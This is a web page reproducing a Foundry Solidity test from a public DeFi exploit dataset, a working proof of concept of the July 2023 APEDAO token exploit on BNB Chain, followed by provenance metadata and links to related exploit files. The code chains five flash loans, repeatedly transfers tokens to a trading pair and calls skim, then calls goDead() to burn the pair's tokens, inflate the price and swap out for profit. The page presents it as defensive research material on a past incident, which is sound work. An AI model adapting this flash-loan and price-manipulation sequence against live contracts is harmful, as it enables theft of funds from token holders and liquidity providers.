Public reproduction file

src/test/2023-07/ApeDAO_exp.sol

Public reproduction file for dataset entry APEDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/ApeDAO_exp.sol102 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~7K USD$
8// Attacker : https://bscscan.com/address/0x10703f7114dce7beaf8d23cde4bf72130bb0f56a
9// Attack Contract : https://bscscan.com/address/0x45aa258ad08eeeb841c1c02eca7658f9dd4779c0
10// Vulnerable Contract : https://bscscan.com/address/0xb47955b5b7eaf49c815ebc389850eb576c460092
11// Attack Tx : https://bscscan.com/tx/0x8d35dfd9968ce61fb969ffe8dcc29eeeae864e466d2cb0b7d26ce63644691994
12 
13// @Analysis
14// https://twitter.com/BeosinAlert/status/1681316257034035201
15 
16interface IAPEDAO is IERC20 {
17    function goDead() external;
18}
19 
20contract ApeDAOTest is Test {
21    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
22    IAPEDAO APEDAO = IAPEDAO(0xB47955B5B7EAF49C815EBc389850eb576C460092);
23    IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
24    IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
25    IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
26    IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
27    IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
28    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
29    Uni_Pair_V2 Pair = Uni_Pair_V2(0xee2a9D05B943C1F33f3920C750Ac88F74D0220c3);
30 
31    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 
33    function setUp() public {
34        cheats.createSelectFork("bsc", 30_072_293);
35        cheats.label(address(BUSDT), "BUSDT");
36        cheats.label(address(APEDAO), "APEDAO");
37        cheats.label(address(DPPOracle1), "DPPOracle1");
38        cheats.label(address(DPPOracle2), "DPPOracle2");
39        cheats.label(address(DPPOracle3), "DPPOracle3");
40        cheats.label(address(DPP), "DPP");
41        cheats.label(address(DPPAdvanced), "DPPAdvanced");
42        cheats.label(address(Router), "Router");
43        cheats.label(address(Pair), "Pair");
44    }
45 
46    function testExploit() public {
47        deal(address(BUSDT), address(this), 0);
48        emit log_named_decimal_uint(
49            "BUSDT balance of attacker before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
50        );
51        DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));
52        emit log_named_decimal_uint(
53            "BUSDT balance of attacker after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
54        );
55    }
56 
57    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
58        if (msg.sender == address(DPPOracle1)) {
59            DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));
60        } else if (msg.sender == address(DPPOracle2)) {
61            DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));
62        } else if (msg.sender == address(DPPAdvanced)) {
63            DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));
64        } else if (msg.sender == address(DPPOracle3)) {
65            DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));
66        } else {
67            BUSDT.approve(address(Router), type(uint256).max);
68 
69            swapBUSDTToAPEDAO();
70            for (uint256 i; i < 16; i++) {
71                // Transfer APEDAO to Pair contract and use skim function to withdraw the excess tokens
72                APEDAO.transfer(address(Pair), APEDAO.balanceOf(address(this)));
73                Pair.skim(address(this));
74            }
75            // Burn APEDAO tokens in Pair contract (cause the token price to rise)
76            APEDAO.goDead();
77 
78            BUSDT.transfer(address(Pair), 1001);
79            uint256 amountIn = APEDAO.balanceOf(address(this));
80            APEDAO.transfer(address(Pair), APEDAO.balanceOf(address(this)));
81            swapAPEDAOToBUSDT(amountIn);
82        }
83        BUSDT.transfer(msg.sender, quoteAmount);
84    }
85 
86    function swapBUSDTToAPEDAO() internal {
87        address[] memory path = new address[](2);
88        path[0] = address(BUSDT);
89        path[1] = address(APEDAO);
90        Router.swapExactTokensForTokens(19_000 * 1e18, 0, path, address(this), block.timestamp + 100);
91    }
92 
93    function swapAPEDAOToBUSDT(
94        uint256 amountIn
95    ) internal {
96        address[] memory path = new address[](2);
97        path[0] = address(APEDAO);
98        path[1] = address(BUSDT);
99        uint256[] memory amounts = Router.getAmountsOut(amountIn, path);
100        Pair.swap(amounts[1], 0, address(this), bytes(""));
101    }
102}

Analysis

Dataset entry

Public Foundry test for “APEDAO” (2023-07-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x10703f7114dce7beaf8d23cde4bf72130bb0f56a
Attack Contract
0x45aa258ad08eeeb841c1c02eca7658f9dd4779c0
Vulnerable Contract
0xb47955b5b7eaf49c815ebc389850eb576c460092

Attack Tx
0x8d35dfd9968ce61fb969ffe8dcc29eeeae864e466d2cb0b7d26ce63644691994

File record

Name: APEDAO
Path: src/test/2023-07/ApeDAO_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a0f3dac69c00d6d9cca9be3e8ca1eb385fe29109
Language: Solidity
Size: 103 lines
Date: 2023-07-18
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/ApeDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0f3dac69c00d6d9cca9be3e8ca1eb385fe29109, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.